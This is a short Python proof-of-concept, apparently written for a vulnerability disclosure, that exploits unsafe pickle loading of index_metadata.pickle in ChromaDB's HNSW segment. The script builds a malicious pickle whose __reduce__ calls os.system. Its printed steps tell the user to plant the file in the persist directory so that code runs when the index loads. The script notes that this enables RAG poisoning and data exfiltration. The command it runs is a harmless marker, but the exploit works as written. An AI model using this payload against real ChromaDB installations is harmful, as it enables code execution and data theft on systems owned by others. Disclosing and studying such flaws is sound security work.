"""ChromaDB — pickle.load on HNSW index_metadata.pickle PoC

The PersistentLocalHnswSegment loads index metadata via pickle.load()
from the persist directory. Replacing this file leads to RCE.

Affected: chromadb/segment/impl/vector/local_persistent_hnsw.py:75
"""
import pickle
import os

class RCEPayload:
    def __reduce__(self):
        return (os.system, ('id > /tmp/chromadb_pwned',))

# Craft malicious index_metadata.pickle
payload = pickle.dumps(RCEPayload())

print(f"Malicious pickle payload: {len(payload)} bytes")
print()
print("Attack: replace <chroma_persist_dir>/index_metadata.pickle with this payload")
print("When ChromaDB restarts or loads the index, pickle.load() triggers RCE")
print()
print("AI Impact: ChromaDB is the vector DB for RAG systems.")
print("Compromising the index enables RAG poisoning + data exfiltration.")